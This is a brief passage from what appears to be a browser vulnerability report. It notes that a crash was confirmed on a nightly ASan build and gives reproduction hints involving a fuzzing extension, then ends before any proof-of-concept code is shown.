The vulnerability was confirmed on the nightly ASan build. PoC and ASan log can be found below. Notes for reproducing: - PoC uses domFuzzLite3 extension (<a href="https://www.squarefree.com/extensions/domFuzzLite3.xpi" title="" class="" rel="nofollow">https://www.squarefree.com/extensions/domFuzzLite3.xpi</a>) in order to trigger the garbage collecor - After the PoC is opened, it takes about 10 seconds for the crash to occur PoC:
